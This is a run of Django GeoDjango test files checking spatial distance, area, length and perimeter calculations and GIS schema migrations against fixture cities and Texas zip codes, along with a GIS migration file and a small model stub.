            qs = AustraliaCity.objects.exclude(id=hillsdale.id).distance(hillsdale.point).order_by('id')
            for i, c in enumerate(qs):
                self.assertAlmostEqual(sphere_distances[i], c.distance.m, tol)

    @no_oracle  # Oracle already handles geographic distance calculation.
    @skipUnlessDBFeature("has_distance_method")
    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_distance_transform(self):
        """
        Test the `distance` GeoQuerySet method used with `transform` on a geographic field.
        """
        # We'll be using a Polygon (created by buffering the centroid
        # of 77005 to 100m) -- which aren't allowed in geographic distance
        # queries normally, however our field has been transformed to
        # a non-geographic system.
        z = SouthTexasZipcode.objects.get(name='77005')

        # Reference query:
        # SELECT ST_Distance(ST_Transform("distapp_censuszipcode"."poly", 32140),
        #   ST_GeomFromText('<buffer_wkt>', 32140))
        # FROM "distapp_censuszipcode";
        dists_m = [3553.30384972258, 1243.18391525602, 2186.15439472242]

        # Having our buffer in the SRID of the transformation and of the field
        # -- should get the same results. The first buffer has no need for
        # transformation SQL because it is the same SRID as what was given
        # to `transform()`.  The second buffer will need to be transformed,
        # however.
        buf1 = z.poly.centroid.buffer(100)
        buf2 = buf1.transform(4269, clone=True)
        ref_zips = ['77002', '77025', '77401']

        for buf in [buf1, buf2]:
            qs = CensusZipcode.objects.exclude(name='77005').transform(32140).distance(buf).order_by('name')
            self.assertListEqual(ref_zips, self.get_names(qs))
            for i, z in enumerate(qs):
                self.assertAlmostEqual(z.distance.m, dists_m[i], 5)

    @skipUnlessDBFeature("supports_distances_lookups")
    def test_distance_lookups(self):
        """
        Test the `distance_lt`, `distance_gt`, `distance_lte`, and `distance_gte` lookup types.
        """
        # Retrieving the cities within a 20km 'donut' w/a 7km radius 'hole'
        # (thus, Houston and Southside place will be excluded as tested in
        # the `test02_dwithin` above).
        qs1 = SouthTexasCity.objects.filter(point__distance_gte=(self.stx_pnt, D(km=7))).filter(
            point__distance_lte=(self.stx_pnt, D(km=20)),
        )

        # Oracle 11 incorrectly thinks it is not projected.
        if oracle:
            dist_qs = (qs1,)
        else:
            qs2 = SouthTexasCityFt.objects.filter(point__distance_gte=(self.stx_pnt, D(km=7))).filter(
                point__distance_lte=(self.stx_pnt, D(km=20)),
            )
            dist_qs = (qs1, qs2)

        for qs in dist_qs:
            cities = self.get_names(qs)
            self.assertEqual(cities, ['Bellaire', 'Pearland', 'West University Place'])

        # Doing a distance query using Polygons instead of a Point.
        z = SouthTexasZipcode.objects.get(name='77005')
        qs = SouthTexasZipcode.objects.exclude(name='77005').filter(poly__distance_lte=(z.poly, D(m=275)))
        self.assertEqual(['77025', '77401'], self.get_names(qs))
        # If we add a little more distance 77002 should be included.
        qs = SouthTexasZipcode.objects.exclude(name='77005').filter(poly__distance_lte=(z.poly, D(m=300)))
        self.assertEqual(['77002', '77025', '77401'], self.get_names(qs))

    @skipUnlessDBFeature("supports_distances_lookups", "supports_distance_geodetic")
    def test_geodetic_distance_lookups(self):
        """
        Test distance lookups on geodetic coordinate systems.
        """
        # Line is from Canberra to Sydney.  Query is for all other cities within
        # a 100km of that line (which should exclude only Hobart & Adelaide).
        line = GEOSGeometry('LINESTRING(144.9630 -37.8143,151.2607 -33.8870)', 4326)
        dist_qs = AustraliaCity.objects.filter(point__distance_lte=(line, D(km=100)))

        self.assertEqual(9, dist_qs.count())
        self.assertEqual(['Batemans Bay', 'Canberra', 'Hillsdale',
                          'Melbourne', 'Mittagong', 'Shellharbour',
                          'Sydney', 'Thirroul', 'Wollongong'],
                         self.get_names(dist_qs))

        # Too many params (4 in this case) should raise a ValueError.
        queryset = AustraliaCity.objects.filter(point__distance_lte=('POINT(5 23)', D(km=100), 'spheroid', '4'))
        with self.assertRaises(ValueError):
            len(queryset)

        # Not enough params should raise a ValueError.
        with self.assertRaises(ValueError):
            len(AustraliaCity.objects.filter(point__distance_lte=('POINT(5 23)',)))

        # Getting all cities w/in 550 miles of Hobart.
        hobart = AustraliaCity.objects.get(name='Hobart')
        qs = AustraliaCity.objects.exclude(name='Hobart').filter(point__distance_lte=(hobart.point, D(mi=550)))
        cities = self.get_names(qs)
        self.assertEqual(cities, ['Batemans Bay', 'Canberra', 'Melbourne'])

        # Cities that are either really close or really far from Wollongong --
        # and using different units of distance.
        wollongong = AustraliaCity.objects.get(name='Wollongong')
        d1, d2 = D(yd=19500), D(nm=400)  # Yards (~17km) & Nautical miles.

        # Normal geodetic distance lookup (uses `distance_sphere` on PostGIS.
        gq1 = Q(point__distance_lte=(wollongong.point, d1))
        gq2 = Q(point__distance_gte=(wollongong.point, d2))
        qs1 = AustraliaCity.objects.exclude(name='Wollongong').filter(gq1 | gq2)

        # Geodetic distance lookup but telling GeoDjango to use `distance_spheroid`
        # instead (we should get the same results b/c accuracy variance won't matter
        # in this test case).
        querysets = [qs1]
        if connection.features.has_distance_spheroid_method:
            gq3 = Q(point__distance_lte=(wollongong.point, d1, 'spheroid'))
            gq4 = Q(point__distance_gte=(wollongong.point, d2, 'spheroid'))
            qs2 = AustraliaCity.objects.exclude(name='Wollongong').filter(gq3 | gq4)
            querysets.append(qs2)

        for qs in querysets:
            cities = self.get_names(qs)
            self.assertEqual(cities, ['Adelaide', 'Hobart', 'Shellharbour', 'Thirroul'])

    @skipUnlessDBFeature("supports_distances_lookups")
    def test_distance_lookups_with_expression_rhs(self):
        qs = SouthTexasCity.objects.filter(
            point__distance_lte=(self.stx_pnt, F('radius')),
        ).order_by('name')
        self.assertEqual(
            self.get_names(qs),
            ['Bellaire', 'Downtown Houston', 'Southside Place', 'West University Place']
        )

        # With a combined expression
        qs = SouthTexasCity.objects.filter(
            point__distance_lte=(self.stx_pnt, F('radius') * 2),
        ).order_by('name')
        self.assertEqual(len(qs), 5)
        self.assertIn('Pearland', self.get_names(qs))

        # With spheroid param
        if connection.features.supports_distance_geodetic:
            hobart = AustraliaCity.objects.get(name='Hobart')
            qs = AustraliaCity.objects.filter(
                point__distance_lte=(hobart.point, F('radius') * 70, 'spheroid'),
            ).order_by('name')
            self.assertEqual(self.get_names(qs), ['Canberra', 'Hobart', 'Melbourne'])

    @skipUnlessDBFeature("has_area_method")
    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_area(self):
        """
        Test the `area` GeoQuerySet method.
        """
        # Reference queries:
        # SELECT ST_Area(poly) FROM distapp_southtexaszipcode;
        area_sq_m = [5437908.90234375, 10183031.4389648, 11254471.0073242, 9881708.91772461]
        # Tolerance has to be lower for Oracle
        tol = 2
        for i, z in enumerate(SouthTexasZipcode.objects.order_by('name').area()):
            self.assertAlmostEqual(area_sq_m[i], z.area.sq_m, tol)

    @skipUnlessDBFeature("has_length_method")
    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_length(self):
        """
        Test the `length` GeoQuerySet method.
        """
        # Reference query (should use `length_spheroid`).
        # SELECT ST_length_spheroid(ST_GeomFromText('<wkt>', 4326) 'SPHEROID["WGS 84",6378137,298.257223563,
        #   AUTHORITY["EPSG","7030"]]');
        len_m1 = 473504.769553813
        len_m2 = 4617.668

        if connection.features.supports_distance_geodetic:
            qs = Interstate.objects.length()
            tol = 2 if oracle else 3
            self.assertAlmostEqual(len_m1, qs[0].length.m, tol)
        else:
            # Does not support geodetic coordinate systems.
            with self.assertRaises(ValueError):
                Interstate.objects.length()

        # Now doing length on a projected coordinate system.
        i10 = SouthTexasInterstate.objects.length().get(name='I-10')
        self.assertAlmostEqual(len_m2, i10.length.m, 2)

    @skipUnlessDBFeature("has_perimeter_method")
    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_perimeter(self):
        """
        Test the `perimeter` GeoQuerySet method.
        """
        # Reference query:
        # SELECT ST_Perimeter(distapp_southtexaszipcode.poly) FROM distapp_southtexaszipcode;
        perim_m = [18404.3550889361, 15627.2108551001, 20632.5588368978, 17094.5996143697]
        tol = 2 if oracle else 7
        for i, z in enumerate(SouthTexasZipcode.objects.order_by('name').perimeter()):
            self.assertAlmostEqual(perim_m[i], z.perimeter.m, tol)

        # Running on points; should return 0.
        for i, c in enumerate(SouthTexasCity.objects.perimeter(model_att='perim')):
            self.assertEqual(0, c.perim.m)

    @skipUnlessDBFeature("has_area_method", "has_distance_method")
    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_measurement_null_fields(self):
        """
        Test the measurement GeoQuerySet methods on fields with NULL values.
        """
        # Creating SouthTexasZipcode w/NULL value.
        SouthTexasZipcode.objects.create(name='78212')
        # Performing distance/area queries against the NULL PolygonField,
        # and ensuring the result of the operations is None.
        htown = SouthTexasCity.objects.get(name='Downtown Houston')
        z = SouthTexasZipcode.objects.distance(htown.point).area().get(name='78212')
        self.assertIsNone(z.distance)
        self.assertIsNone(z.area)

    @skipUnlessDBFeature("has_distance_method")
    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_distance_order_by(self):
        qs = SouthTexasCity.objects.distance(Point(3, 3)).order_by(
            'distance'
        ).values_list('name', flat=True).filter(name__in=('San Antonio', 'Pearland'))
        self.assertQuerysetEqual(qs, ['San Antonio', 'Pearland'], lambda x: x)


'''
=============================
Distance functions on PostGIS
=============================

                                              | Projected Geometry | Lon/lat Geometry | Geography (4326)

ST_Distance(geom1, geom2)                     |    OK (meters)     |   :-( (degrees)  |    OK (meters)

ST_Distance(geom1, geom2, use_spheroid=False) |    N/A             |   N/A            |    OK (meters), less accurate, quick

Distance_Sphere(geom1, geom2)                 |    N/A             |   OK (meters)    |    N/A

Distance_Spheroid(geom1, geom2, spheroid)     |    N/A             |   OK (meters)    |    N/A

ST_Perimeter(geom1)                           |    OK              |   :-( (degrees)  |    OK


================================
Distance functions on SpatiaLite
================================

                                                | Projected Geometry | Lon/lat Geometry

ST_Distance(geom1, geom2)                       |    OK (meters)     |      N/A

ST_Distance(geom1, geom2, use_ellipsoid=True)   |    N/A             |      OK (meters)

ST_Distance(geom1, geom2, use_ellipsoid=False)  |    N/A             |      OK (meters), less accurate, quick

Perimeter(geom1)                                |    OK              |      :-( (degrees)

'''  # NOQA


@skipUnlessDBFeature("gis_enabled")
class DistanceFunctionsTests(TestCase):
    fixtures = ['initial']

    @skipUnlessDBFeature("has_Area_function")
    def test_area(self):
        # Reference queries:
        # SELECT ST_Area(poly) FROM distapp_southtexaszipcode;
        area_sq_m = [5437908.90234375, 10183031.4389648, 11254471.0073242, 9881708.91772461]
        # Tolerance has to be lower for Oracle
        tol = 2
        for i, z in enumerate(SouthTexasZipcode.objects.annotate(area=Area('poly')).order_by('name')):
            # MySQL is returning a raw float value
            self.assertAlmostEqual(area_sq_m[i], z.area.sq_m if hasattr(z.area, 'sq_m') else z.area, tol)

    @skipUnlessDBFeature("has_Distance_function")
    def test_distance_simple(self):
        """
        Test a simple distance query, with projected coordinates and without
        transformation.
        """
        lagrange = GEOSGeometry('POINT(805066.295722839 4231496.29461335)', 32140)
        houston = SouthTexasCity.objects.annotate(dist=Distance('point', lagrange)).order_by('id').first()
        tol = 2 if oracle else 5
        self.assertAlmostEqual(
            houston.dist.m if hasattr(houston.dist, 'm') else houston.dist,
            147075.069813,
            tol
        )

    @skipUnlessDBFeature("has_Distance_function", "has_Transform_function")
    def test_distance_projected(self):
        """
        Test the `Distance` function on projected coordinate systems.
        """
        # The point for La Grange, TX
        lagrange = GEOSGeometry('POINT(-96.876369 29.905320)', 4326)
        # Reference distances in feet and in meters. Got these values from
        # using the provided raw SQL statements.
        #  SELECT ST_Distance(point, ST_Transform(ST_GeomFromText('POINT(-96.876369 29.905320)', 4326), 32140))
        #  FROM distapp_southtexascity;
        m_distances = [147075.069813, 139630.198056, 140888.552826,
                       138809.684197, 158309.246259, 212183.594374,
                       70870.188967, 165337.758878, 139196.085105]
        #  SELECT ST_Distance(point, ST_Transform(ST_GeomFromText('POINT(-96.876369 29.905320)', 4326), 2278))
        #  FROM distapp_southtexascityft;
        # Oracle 11 thinks this is not a projected coordinate system, so it's
        # not tested.
        ft_distances = [482528.79154625, 458103.408123001, 462231.860397575,
                        455411.438904354, 519386.252102563, 696139.009211594,
                        232513.278304279, 542445.630586414, 456679.155883207]

        # Testing using different variations of parameters and using models
        # with different projected coordinate systems.
        dist1 = SouthTexasCity.objects.annotate(distance=Distance('point', lagrange)).order_by('id')
        if oracle:
            dist_qs = [dist1]
        else:
            dist2 = SouthTexasCityFt.objects.annotate(distance=Distance('point', lagrange)).order_by('id')
            dist_qs = [dist1, dist2]

        # Original query done on PostGIS, have to adjust AlmostEqual tolerance
        # for Oracle.
        tol = 2 if oracle else 5

        # Ensuring expected distances are returned for each distance queryset.
        for qs in dist_qs:
            for i, c in enumerate(qs):
                self.assertAlmostEqual(m_distances[i], c.distance.m, tol)
                self.assertAlmostEqual(ft_distances[i], c.distance.survey_ft, tol)

    @skipUnlessDBFeature("has_Distance_function", "supports_distance_geodetic")
    def test_distance_geodetic(self):
        """
        Test the `Distance` function on geodetic coordinate systems.
        """
        # Testing geodetic distance calculation with a non-point geometry
        # (a LineString of Wollongong and Shellharbour coords).
        ls = LineString(((150.902, -34.4245), (150.87, -34.5789)), srid=4326)

        # Reference query:
        #  SELECT ST_distance_sphere(point, ST_GeomFromText('LINESTRING(150.9020 -34.4245,150.8700 -34.5789)', 4326))
        #  FROM distapp_australiacity ORDER BY name;
        distances = [1120954.92533513, 140575.720018241, 640396.662906304,
                     60580.9693849269, 972807.955955075, 568451.8357838,
                     40435.4335201384, 0, 68272.3896586844, 12375.0643697706, 0]
        qs = AustraliaCity.objects.annotate(distance=Distance('point', ls)).order_by('name')
        for city, distance in zip(qs, distances):
            # Testing equivalence to within a meter.
            self.assertAlmostEqual(distance, city.distance.m, 0)

    @skipUnlessDBFeature("has_Distance_function", "supports_distance_geodetic")
    def test_distance_geodetic_spheroid(self):
        tol = 2 if oracle else 4

        # Got the reference distances using the raw SQL statements:
        #  SELECT ST_distance_spheroid(point, ST_GeomFromText('POINT(151.231341 -33.952685)', 4326),
        #    'SPHEROID["WGS 84",6378137.0,298.257223563]') FROM distapp_australiacity WHERE (NOT (id = 11));
        #  SELECT ST_distance_sphere(point, ST_GeomFromText('POINT(151.231341 -33.952685)', 4326))
        #  FROM distapp_australiacity WHERE (NOT (id = 11));  st_distance_sphere
        if connection.ops.postgis and connection.ops.proj_version_tuple() >= (4, 7, 0):
            # PROJ.4 versions 4.7+ have updated datums, and thus different
            # distance values.
            spheroid_distances = [60504.0628957201, 77023.9489850262, 49154.8867574404,
                                  90847.4358768573, 217402.811919332, 709599.234564757,
                                  640011.483550888, 7772.00667991925, 1047861.78619339,
                                  1165126.55236034]
            sphere_distances = [60580.9693849267, 77144.0435286473, 49199.4415344719,
                                90804.7533823494, 217713.384600405, 709134.127242793,
                                639828.157159169, 7786.82949717788, 1049204.06569028,
                                1162623.7238134]

        else:
            spheroid_distances = [60504.0628825298, 77023.948962654, 49154.8867507115,
                                  90847.435881812, 217402.811862568, 709599.234619957,
                                  640011.483583758, 7772.00667666425, 1047861.7859506,
                                  1165126.55237647]
            sphere_distances = [60580.7612632291, 77143.7785056615, 49199.2725132184,
                                90804.4414289463, 217712.63666124, 709131.691061906,
                                639825.959074112, 7786.80274606706, 1049200.46122281,
                                1162619.7297006]

        # Testing with spheroid distances first.
        hillsdale = AustraliaCity.objects.get(name='Hillsdale')
        qs = AustraliaCity.objects.exclude(id=hillsdale.id).annotate(
            distance=Distance('point', hillsdale.point, spheroid=True)
        ).order_by('id')
        for i, c in enumerate(qs):
            self.assertAlmostEqual(spheroid_distances[i], c.distance.m, tol)
        if postgis:
            # PostGIS uses sphere-only distances by default, testing these as well.
            qs = AustraliaCity.objects.exclude(id=hillsdale.id).annotate(
                distance=Distance('point', hillsdale.point)
            ).order_by('id')
            for i, c in enumerate(qs):
                self.assertAlmostEqual(sphere_distances[i], c.distance.m, tol)

    @no_oracle  # Oracle already handles geographic distance calculation.
    @skipUnlessDBFeature("has_Distance_function", 'has_Transform_function')
    def test_distance_transform(self):
        """
        Test the `Distance` function used with `Transform` on a geographic field.
        """
        # We'll be using a Polygon (created by buffering the centroid
        # of 77005 to 100m) -- which aren't allowed in geographic distance
        # queries normally, however our field has been transformed to
        # a non-geographic system.
        z = SouthTexasZipcode.objects.get(name='77005')

        # Reference query:
        # SELECT ST_Distance(ST_Transform("distapp_censuszipcode"."poly", 32140),
        #   ST_GeomFromText('<buffer_wkt>', 32140))
        # FROM "distapp_censuszipcode";
        dists_m = [3553.30384972258, 1243.18391525602, 2186.15439472242]

        # Having our buffer in the SRID of the transformation and of the field
        # -- should get the same results. The first buffer has no need for
        # transformation SQL because it is the same SRID as what was given
        # to `transform()`.  The second buffer will need to be transformed,
        # however.
        buf1 = z.poly.centroid.buffer(100)
        buf2 = buf1.transform(4269, clone=True)
        ref_zips = ['77002', '77025', '77401']

        for buf in [buf1, buf2]:
            qs = CensusZipcode.objects.exclude(name='77005').annotate(
                distance=Distance(Transform('poly', 32140), buf)
            ).order_by('name')
            self.assertEqual(ref_zips, sorted([c.name for c in qs]))
            for i, z in enumerate(qs):
                self.assertAlmostEqual(z.distance.m, dists_m[i], 5)

    @skipUnlessDBFeature("has_Distance_function")
    def test_distance_order_by(self):
        qs = SouthTexasCity.objects.annotate(distance=Distance('point', Point(3, 3, srid=32140))).order_by(
            'distance'
        ).values_list('name', flat=True).filter(name__in=('San Antonio', 'Pearland'))
        self.assertQuerysetEqual(qs, ['San Antonio', 'Pearland'], lambda x: x)

    @skipUnlessDBFeature("has_Length_function")
    def test_length(self):
        """
        Test the `Length` function.
        """
        # Reference query (should use `length_spheroid`).
        # SELECT ST_length_spheroid(ST_GeomFromText('<wkt>', 4326) 'SPHEROID["WGS 84",6378137,298.257223563,
        #   AUTHORITY["EPSG","7030"]]');
        len_m1 = 473504.769553813
        len_m2 = 4617.668

        if connection.features.supports_length_geodetic:
            qs = Interstate.objects.annotate(length=Length('path'))
            tol = 2 if oracle else 3
            self.assertAlmostEqual(len_m1, qs[0].length.m, tol)
            # TODO: test with spheroid argument (True and False)
        else:
            # Does not support geodetic coordinate systems.
            with self.assertRaises(NotImplementedError):
                list(Interstate.objects.annotate(length=Length('path')))

        # Now doing length on a projected coordinate system.
        i10 = SouthTexasInterstate.objects.annotate(length=Length('path')).get(name='I-10')
        self.assertAlmostEqual(len_m2, i10.length.m if isinstance(i10.length, D) else i10.length, 2)
        self.assertTrue(
            SouthTexasInterstate.objects.annotate(length=Length('path')).filter(length__gt=4000).exists()
        )

    @skipUnlessDBFeature("has_Perimeter_function")
    def test_perimeter(self):
        """
        Test the `Perimeter` function.
        """
        # Reference query:
        # SELECT ST_Perimeter(distapp_southtexaszipcode.poly) FROM distapp_southtexaszipcode;
        perim_m = [18404.3550889361, 15627.2108551001, 20632.5588368978, 17094.5996143697]
        tol = 2 if oracle else 7
        qs = SouthTexasZipcode.objects.annotate(perimeter=Perimeter('poly')).order_by('name')
        for i, z in enumerate(qs):
            self.assertAlmostEqual(perim_m[i], z.perimeter.m, tol)

        # Running on points; should return 0.
        qs = SouthTexasCity.objects.annotate(perim=Perimeter('point'))
        for city in qs:
            self.assertEqual(0, city.perim.m)

    @skipUnlessDBFeature("has_Perimeter_function")
    def test_perimeter_geodetic(self):
        # Currently only Oracle supports calculating the perimeter on geodetic
        # geometries (without being transformed).
        qs1 = CensusZipcode.objects.annotate(perim=Perimeter('poly'))
        if connection.features.supports_perimeter_geodetic:
            self.assertAlmostEqual(qs1[0].perim.m, 18406.3818954314, 3)
        else:
            with self.assertRaises(NotImplementedError):
                list(qs1)
        # But should work fine when transformed to projected coordinates
        qs2 = CensusZipcode.objects.annotate(perim=Perimeter(Transform('poly', 32140))).filter(name='77002')
        self.assertAlmostEqual(qs2[0].perim.m, 18404.355, 3)

    @skipUnlessDBFeature("supports_null_geometries", "has_Area_function", "has_Distance_function")
    def test_measurement_null_fields(self):
        """
        Test the measurement functions on fields with NULL values.
        """
        # Creating SouthTexasZipcode w/NULL value.
        SouthTexasZipcode.objects.create(name='78212')
        # Performing distance/area queries against the NULL PolygonField,
        # and ensuring the result of the operations is None.
        htown = SouthTexasCity.objects.get(name='Downtown Houston')
        z = SouthTexasZipcode.objects.annotate(
            distance=Distance('poly', htown.point), area=Area('poly')
        ).get(name='78212')
        self.assertIsNone(z.distance)
        self.assertIsNone(z.area)






from __future__ import unicode_literals

from django.contrib.gis.db.models import fields
from django.core.exceptions import ImproperlyConfigured
from django.db import connection, migrations, models
from django.db.migrations.migration import Migration
from django.db.migrations.state import ProjectState
from django.test import (
    TransactionTestCase, skipIfDBFeature, skipUnlessDBFeature,
)

from ..utils import mysql

if connection.features.gis_enabled:
    try:
        GeometryColumns = connection.ops.geometry_columns()
        HAS_GEOMETRY_COLUMNS = True
    except NotImplementedError:
        HAS_GEOMETRY_COLUMNS = False


@skipUnlessDBFeature('gis_enabled')
class OperationTests(TransactionTestCase):
    available_apps = ['gis_tests.gis_migrations']

    def tearDown(self):
        # Delete table after testing
        if hasattr(self, 'current_state'):
            self.apply_operations('gis', self.current_state, [migrations.DeleteModel('Neighborhood')])
        super(OperationTests, self).tearDown()

    def get_table_description(self, table):
        with connection.cursor() as cursor:
            return connection.introspection.get_table_description(cursor, table)

    def assertColumnExists(self, table, column):
        self.assertIn(column, [c.name for c in self.get_table_description(table)])

    def assertColumnNotExists(self, table, column):
        self.assertNotIn(column, [c.name for c in self.get_table_description(table)])

    def apply_operations(self, app_label, project_state, operations):
        migration = Migration('name', app_label)
        migration.operations = operations
        with connection.schema_editor() as editor:
            return migration.apply(project_state, editor)

    def set_up_test_model(self, force_raster_creation=False):
        test_fields = [
            ('id', models.AutoField(primary_key=True)),
            ('name', models.CharField(max_length=100, unique=True)),
            ('geom', fields.MultiPolygonField(srid=4326))
        ]
        if connection.features.supports_raster or force_raster_creation:
            test_fields += [('rast', fields.RasterField(srid=4326))]
        operations = [migrations.CreateModel('Neighborhood', test_fields)]
        return self.apply_operations('gis', ProjectState(), operations)

    def assertGeometryColumnsCount(self, expected_count):
        table_name = 'gis_neighborhood'
        if connection.features.uppercases_column_names:
            table_name = table_name.upper()
        self.assertEqual(
            GeometryColumns.objects.filter(**{
                GeometryColumns.table_name_col(): table_name,
            }).count(),
            expected_count
        )

    def assertSpatialIndexExists(self, table, column):
        with connection.cursor() as cursor:
            indexes = connection.introspection.get_indexes(cursor, table)
        self.assertIn(column, indexes)

    def alter_gis_model(self, migration_class, model_name, field_name,
                        blank=False, field_class=None):
        project_state = self.set_up_test_model()
        self.current_state = project_state
        args = [model_name, field_name]
        if field_class:
            args.append(field_class(srid=4326, blank=blank))
        operation = migration_class(*args)
        new_state = project_state.clone()
        operation.state_forwards('gis', new_state)
        self.current_state = new_state
        with connection.schema_editor() as editor:
            operation.database_forwards('gis', editor, project_state, new_state)

    def test_add_geom_field(self):
        """
        Test the AddField operation with a geometry-enabled column.
        """
        self.alter_gis_model(migrations.AddField, 'Neighborhood', 'path', False, fields.LineStringField)
        self.assertColumnExists('gis_neighborhood', 'path')

        # Test GeometryColumns when available
        if HAS_GEOMETRY_COLUMNS:
            self.assertGeometryColumnsCount(2)

        # Test spatial indices when available
        if self.has_spatial_indexes:
            self.assertSpatialIndexExists('gis_neighborhood', 'path')

    @skipUnlessDBFeature('supports_raster')
    def test_add_raster_field(self):
        """
        Test the AddField operation with a raster-enabled column.
        """
        self.alter_gis_model(migrations.AddField, 'Neighborhood', 'heatmap', False, fields.RasterField)
        self.assertColumnExists('gis_neighborhood', 'heatmap')

        # Test spatial indices when available
        if self.has_spatial_indexes:
            self.assertSpatialIndexExists('gis_neighborhood', 'heatmap')

    @skipIfDBFeature('supports_raster')
    def test_create_raster_model_on_db_without_raster_support(self):
        """
        Test creating a model with a raster field on a db without raster support.
        """
        msg = 'Raster fields require backends with raster support.'
        with self.assertRaisesMessage(ImproperlyConfigured, msg):
            self.set_up_test_model(True)

    @skipIfDBFeature('supports_raster')
    def test_add_raster_field_on_db_without_raster_support(self):
        """
        Test adding a raster field on a db without raster support.
        """
        msg = 'Raster fields require backends with raster support.'
        with self.assertRaisesMessage(ImproperlyConfigured, msg):
            self.alter_gis_model(
                migrations.AddField, 'Neighborhood', 'heatmap',
                False, fields.RasterField
            )

    def test_add_blank_geom_field(self):
        """
        Should be able to add a GeometryField with blank=True.
        """
        self.alter_gis_model(migrations.AddField, 'Neighborhood', 'path', True, fields.LineStringField)
        self.assertColumnExists('gis_neighborhood', 'path')

        # Test GeometryColumns when available
        if HAS_GEOMETRY_COLUMNS:
            self.assertGeometryColumnsCount(2)

        # Test spatial indices when available
        if self.has_spatial_indexes:
            self.assertSpatialIndexExists('gis_neighborhood', 'path')

    @skipUnlessDBFeature('supports_raster')
    def test_add_blank_raster_field(self):
        """
        Should be able to add a RasterField with blank=True.
        """
        self.alter_gis_model(migrations.AddField, 'Neighborhood', 'heatmap', True, fields.RasterField)
        self.assertColumnExists('gis_neighborhood', 'heatmap')

        # Test spatial indices when available
        if self.has_spatial_indexes:
            self.assertSpatialIndexExists('gis_neighborhood', 'heatmap')

    def test_remove_geom_field(self):
        """
        Test the RemoveField operation with a geometry-enabled column.
        """
        self.alter_gis_model(migrations.RemoveField, 'Neighborhood', 'geom')
        self.assertColumnNotExists('gis_neighborhood', 'geom')

        # Test GeometryColumns when available
        if HAS_GEOMETRY_COLUMNS:
            self.assertGeometryColumnsCount(0)

    @skipUnlessDBFeature('supports_raster')
    def test_remove_raster_field(self):
        """
        Test the RemoveField operation with a raster-enabled column.
        """
        self.alter_gis_model(migrations.RemoveField, 'Neighborhood', 'rast')
        self.assertColumnNotExists('gis_neighborhood', 'rast')

    def test_create_model_spatial_index(self):
        self.current_state = self.set_up_test_model()

        if not self.has_spatial_indexes:
            self.skipTest('No support for Spatial indexes')

        self.assertSpatialIndexExists('gis_neighborhood', 'geom')

        if connection.features.supports_raster:
            self.assertSpatialIndexExists('gis_neighborhood', 'rast')

    @property
    def has_spatial_indexes(self):
        if mysql:
            with connection.cursor() as cursor:
                return connection.introspection.supports_spatial_index(cursor, 'gis_neighborhood')
        return True






from __future__ import unicode_literals

from django.core.management import call_command
from django.db import connection
from django.test import TransactionTestCase, skipUnlessDBFeature


@skipUnlessDBFeature("gis_enabled")
class MigrateTests(TransactionTestCase):
    """
    Tests running the migrate command in Geodjango.
    """
    available_apps = ["gis_tests.gis_migrations"]

    def get_table_description(self, table):
        with connection.cursor() as cursor:
            return connection.introspection.get_table_description(cursor, table)

    def assertTableExists(self, table):
        with connection.cursor() as cursor:
            self.assertIn(table, connection.introspection.table_names(cursor))

    def assertTableNotExists(self, table):
        with connection.cursor() as cursor:
            self.assertNotIn(table, connection.introspection.table_names(cursor))

    def test_migrate_gis(self):
        """
        Tests basic usage of the migrate command when a model uses Geodjango
        fields. Regression test for ticket #22001:
        https://code.djangoproject.com/ticket/22001

        It's also used to showcase an error in migrations where spatialite is
        enabled and geo tables are renamed resulting in unique constraint
        failure on geometry_columns. Regression for ticket #23030:
        https://code.djangoproject.com/ticket/23030
        """
        # Make sure the right tables exist
        self.assertTableExists("gis_migrations_neighborhood")
        self.assertTableExists("gis_migrations_household")
        self.assertTableExists("gis_migrations_family")
        if connection.features.supports_raster:
            self.assertTableExists("gis_migrations_heatmap")
        # Unmigrate everything
        call_command("migrate", "gis_migrations", "zero", verbosity=0)
        # Make sure it's all gone
        self.assertTableNotExists("gis_migrations_neighborhood")
        self.assertTableNotExists("gis_migrations_household")
        self.assertTableNotExists("gis_migrations_family")
        if connection.features.supports_raster:
            self.assertTableNotExists("gis_migrations_heatmap")
        # Even geometry columns metadata
        try:
            GeoColumn = connection.ops.geometry_columns()
        except NotImplementedError:
            # Not all GIS backends have geometry columns model
            pass
        else:
            qs = GeoColumn.objects.filter(
                **{'%s__in' % GeoColumn.table_name_col(): ["gis_neighborhood", "gis_household"]}
            )
            self.assertEqual(qs.count(), 0)
        # Revert the "unmigration"
        call_command("migrate", "gis_migrations", verbosity=0)












from django.db import connection, migrations, models

from ...models import models as gis_models

ops = [
    migrations.CreateModel(
        name='Neighborhood',
        fields=[
            ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
            ('name', models.CharField(max_length=100, unique=True)),
            ('geom', gis_models.MultiPolygonField(srid=4326)),
        ],
        options={
            'required_db_features': ['gis_enabled'],
        },
        bases=(models.Model,),
    ),
    migrations.CreateModel(
        name='Household',
        fields=[
            ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
            ('neighborhood', models.ForeignKey(
                'gis_migrations.Neighborhood',
                models.SET_NULL,
                to_field='id',
                null=True,
            )),
            ('address', models.CharField(max_length=100)),
            ('zip_code', models.IntegerField(null=True, blank=True)),
            ('geom', gis_models.PointField(srid=4326, geography=True)),
        ],
        options={
            'required_db_features': ['gis_enabled'],
        },
        bases=(models.Model,),
    ),
    migrations.CreateModel(
        name='Family',
        fields=[
            ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
            ('name', models.CharField(max_length=100, unique=True)),
        ],
        options={
        },
        bases=(models.Model,),
    ),
    migrations.AddField(
        model_name='household',
        name='family',
        field=models.ForeignKey('gis_migrations.Family', models.SET_NULL, blank=True, null=True),
        preserve_default=True,
    )
]

if connection.features.gis_enabled and connection.features.supports_raster:
    ops += [
        migrations.CreateModel(
            name='Heatmap',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('name', models.CharField(max_length=100, unique=True)),
                ('rast', gis_models.fields.RasterField(srid=4326)),
            ],
            options={
            },
            bases=(models.Model,),
        ),
    ]


class Migration(migrations.Migration):
    """
    Used for gis-specific migration tests.
    """
    operations = ops












from django.utils.encoding import python_2_unicode_compatible

from ..models import models


@python_2_unicode_compatible
class NamedModel(models.Model):
    name = models.CharField(max_length=30)

